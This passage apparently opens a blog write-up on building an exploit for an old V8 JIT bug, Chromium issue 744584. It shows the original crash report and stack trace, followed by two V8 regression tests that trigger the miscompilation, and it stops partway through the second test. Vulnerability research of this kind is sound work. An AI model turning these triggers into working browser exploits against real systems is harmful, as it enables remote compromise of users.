<p>In order to better understand browser internals and exploit development, it helps to look at old bugs and attempt to take them from PoC or bug report to exploit. <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=744584">Issue 744584: Fatal error in ../../v8/src/compiler/representation-change.cc</a> is particuarly interesting, firstly because there is no (public) exploit already written for it. Secondly because the bug was an accidental find, the bugreporter was a developer who was reporting the issue to the Chromium team to fix his application which was crashing, not because he was looking for security issues, yet it just so happens he stumbled across a potentially exploitable 0-day in Chrome. With this in mind, this should be an interesting bug to look into.</p>
<p>What Halvar and FX said at Defcon 12 rings true here.</p>
<h2 id="the-bug-report">The Bug Report</h2>
<p>The <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=744584">bug report</a> provides no proof of concept, and little information about the bug other than a crash trace.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">UserAgent</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">Mozilla</span><span style="color:#f92672">/</span><span style="color:#ae81ff">5.0</span> (<span style="color:#a6e22e">Windows</span> <span style="color:#a6e22e">NT</span> <span style="color:#ae81ff">10.0</span>; <span style="color:#a6e22e">WOW64</span>; <span style="color:#a6e22e">rv</span><span style="color:#f92672">:</span><span style="color:#ae81ff">54.0</span>) <span style="color:#a6e22e">Gecko</span><span style="color:#f92672">/</span><span style="color:#ae81ff">20100101</span> <span style="color:#a6e22e">Firefox</span><span style="color:#f92672">/</span><span style="color:#ae81ff">54.0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Steps</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">reproduce</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">problem</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Unfortunately</span> <span style="color:#a6e22e">I</span> <span style="color:#a6e22e">could</span> <span style="color:#a6e22e">not</span> <span style="color:#a6e22e">isolate</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">problem</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">an</span> <span style="color:#a6e22e">easy</span> <span style="color:#a6e22e">repro</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">I</span> <span style="color:#a6e22e">have</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">JS</span> <span style="color:#a6e22e">app</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">around</span> <span style="color:#ae81ff">3</span><span style="color:#a6e22e">mb</span> <span style="color:#a6e22e">minified</span> <span style="color:#a6e22e">and</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">browser</span> <span style="color:#a6e22e">crashes</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">what</span> <span style="color:#a6e22e">seem</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">be</span> <span style="color:#a6e22e">random</span> <span style="color:#a6e22e">times</span> (<span style="color:#a6e22e">I</span> <span style="color:#a6e22e">suppose</span> <span style="color:#a6e22e">whenever</span> <span style="color:#a6e22e">it</span> <span style="color:#a6e22e">decides</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">optimize</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">problematic</span> <span style="color:#66d9ef">function</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">What</span> <span style="color:#a6e22e">is</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">expected</span> <span style="color:#a6e22e">behavior</span><span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">not</span> <span style="color:#a6e22e">crash</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">What</span> <span style="color:#a6e22e">went</span> <span style="color:#a6e22e">wrong</span><span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Fatal</span> <span style="color:#a6e22e">error</span> <span style="color:#66d9ef">in</span> ..<span style="color:#f92672">/</span>..<span style="color:#f92672">/</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">/</span><span style="color:#a6e22e">src</span><span style="color:#f92672">/</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">/</span><span style="color:#a6e22e">representation</span><span style="color:#f92672">-</span><span style="color:#a6e22e">change</span>.<span style="color:#a6e22e">cc</span>, <span style="color:#a6e22e">line</span> <span style="color:#ae81ff">1055</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">RepresentationChangerError</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">node</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">812</span><span style="color:#f92672">:</span><span style="color:#a6e22e">Phi</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">kRepFloat64</span> (Number) <span style="color:#a6e22e">cannot</span> <span style="color:#a6e22e">be</span> <span style="color:#a6e22e">changed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">kRepWord32</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">STACK_TEXT</span><span style="color:#f92672">:</span>  
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8_libbase</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">OS</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Abort</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x11</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8_libbase</span><span style="color:#f92672">!</span><span style="color:#a6e22e">V8_Fatal</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x91</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationChanger</span><span style="color:#f92672">::</span><span style="color:#a6e22e">TypeError</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x1d9</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationChanger</span><span style="color:#f92672">::</span><span style="color:#a6e22e">GetWord32RepresentationFor</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x18d</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationChanger</span><span style="color:#f92672">::</span><span style="color:#a6e22e">GetRepresentationFor</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x28d</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationSelector</span><span style="color:#f92672">::</span><span style="color:#a6e22e">ConvertInput</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x19d</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationSelector</span><span style="color:#f92672">::</span><span style="color:#a6e22e">VisitPhi</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x12c</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationSelector</span><span style="color:#f92672">::</span><span style="color:#a6e22e">VisitNode</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x31f</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RepresentationSelector</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Run</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x4ea</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">SimplifiedLowering</span><span style="color:#f92672">::</span><span style="color:#a6e22e">LowerAllNodes</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">PipelineImpl</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Run</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">SimplifiedLoweringPhase</span><span style="color:#f92672">&gt;+</span><span style="color:#ae81ff">0x70</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">PipelineImpl</span><span style="color:#f92672">::</span><span style="color:#a6e22e">OptimizeGraph</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x29f</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">compiler</span><span style="color:#f92672">::</span><span style="color:#a6e22e">PipelineCompilationJob</span><span style="color:#f92672">::</span><span style="color:#a6e22e">ExecuteJobImpl</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x20</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CompilationJob</span><span style="color:#f92672">::</span><span style="color:#a6e22e">ExecuteJob</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x1a3</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v8</span><span style="color:#f92672">!</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">OptimizingCompileDispatcher</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CompileTask</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Run</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x110</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">gin</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">FunctorTraits</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span> (<span style="color:#a6e22e">__cdecl</span> <span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">::*</span>)(<span style="color:#66d9ef">void</span>) <span style="color:#a6e22e">__ptr64</span>,<span style="color:#66d9ef">void</span><span style="color:#f92672">&gt;::</span><span style="color:#a6e22e">Invoke</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">__ptr64</span><span style="color:#f92672">&gt;+</span><span style="color:#ae81ff">0x1a</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">gin</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">InvokeHelper</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span>,<span style="color:#66d9ef">void</span><span style="color:#f92672">&gt;::</span><span style="color:#a6e22e">MakeItSo</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span> (<span style="color:#a6e22e">__cdecl</span> <span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">::*</span><span style="color:#66d9ef">const</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">__ptr64</span>)(<span style="color:#66d9ef">void</span>) <span style="color:#a6e22e">__ptr64</span>,<span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">__ptr64</span><span style="color:#f92672">&gt;+</span><span style="color:#ae81ff">0x37</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">gin</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Invoker</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">BindState</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span> (<span style="color:#a6e22e">__cdecl</span> <span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">::*</span>)(<span style="color:#66d9ef">void</span>) <span style="color:#a6e22e">__ptr64</span>,<span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">OwnedWrapper</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span>,<span style="color:#66d9ef">void</span> <span style="color:#a6e22e">__cdecl</span>(<span style="color:#66d9ef">void</span>)<span style="color:#f92672">&gt;::</span><span style="color:#a6e22e">RunImpl</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span> (<span style="color:#a6e22e">__cdecl</span> <span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">::*</span><span style="color:#66d9ef">const</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">__ptr64</span>)(<span style="color:#66d9ef">void</span>) <span style="color:#a6e22e">__ptr64</span>,<span style="color:#a6e22e">std</span><span style="color:#f92672">::</span><span style="color:#a6e22e">tuple</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">OwnedWrapper</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">const</span> <span style="color:#f92672">&amp;</span> <span style="color:#a6e22e">__ptr64</span>,<span style="color:#ae81ff">0</span><span style="color:#f92672">&gt;+</span><span style="color:#ae81ff">0x49</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">gin</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Invoker</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">BindState</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span> (<span style="color:#a6e22e">__cdecl</span> <span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">::*</span>)(<span style="color:#66d9ef">void</span>) <span style="color:#a6e22e">__ptr64</span>,<span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">OwnedWrapper</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">v8</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Task</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">&gt;</span>,<span style="color:#66d9ef">void</span> <span style="color:#a6e22e">__cdecl</span>(<span style="color:#66d9ef">void</span>)<span style="color:#f92672">&gt;::</span><span style="color:#a6e22e">Run</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x33</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">base</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Callback</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">__cdecl</span>(<span style="color:#66d9ef">void</span>),<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span><span style="color:#f92672">&gt;::</span><span style="color:#a6e22e">Run</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x40</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">base</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">debug</span><span style="color:#f92672">::</span><span style="color:#a6e22e">TaskAnnotator</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RunTask</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x2fd</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">base</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">TaskTracker</span><span style="color:#f92672">::</span><span style="color:#a6e22e">PerformRunTask</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x74b</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">base</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">TaskTracker</span><span style="color:#f92672">::</span><span style="color:#a6e22e">RunNextTask</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x1ea</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">base</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#a6e22e">internal</span><span style="color:#f92672">::</span><span style="color:#a6e22e">SchedulerWorker</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Thread</span><span style="color:#f92672">::</span><span style="color:#a6e22e">ThreadMain</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x4b9</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">base</span><span style="color:#f92672">!</span><span style="color:#a6e22e">base</span><span style="color:#f92672">::</span><span style="color:#e6db74">`anonymous namespace&#39;::ThreadFunc+0x131
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">KERNEL32!BaseThreadInitThunk+0x14
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ntdll!RtlUserThreadStart+0x21
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Did this work before? N/A 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Chrome version: 61.0.3158.0  Channel: canary
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">OS Version: 10.0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Flash Version: Shockwave Flash 25.0 r0
</span></span></span></code></pre></div><p>It seems at some stage in the comments, the bug reporter (Marco Giovannini
) did provide a proof of concept, however he has since deleted it, most likely because it contained part of his application code.</p>
<p><img src="/images/deleted-poc.png" alt="Deleted PoC"></p>
<p>As this is an n-day/patched bug, we have the advantage that we can see the change that fixed the bug, as well as the test cases to trigger the bug.</p>
<p>Two test cases were provided as part of the change:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#75715e">// Copyright 2017 the V8 project authors. All rights reserved.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Use of this source code is governed by a BSD-style license that can be
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// found in the LICENSE file.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Flags: --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">f</span>(<span style="color:#a6e22e">x</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">o</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">a</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">4</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">3</span>; <span style="color:#f92672">++</span><span style="color:#a6e22e">i</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) { <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">l</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">%</span><span style="color:#a6e22e">OptimizeFunctionOnNextCall</span>(<span style="color:#a6e22e">f</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assertEquals</span>(<span style="color:#66d9ef">undefined</span>, <span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">101</span>));
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#75715e">// Copyright 2017 the V8 project authors. All rights reserved.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Use of this source code is governed by a BSD-style license that can be
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// found in the LICENSE file.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Flags: --allow-natives-syntax --turbo-escape
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">f</span>(<span style="color:#a6e22e">x</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">o</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">a</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;x&#34;</span>;
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;x&#34;</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">22</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">22</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">0</span>);
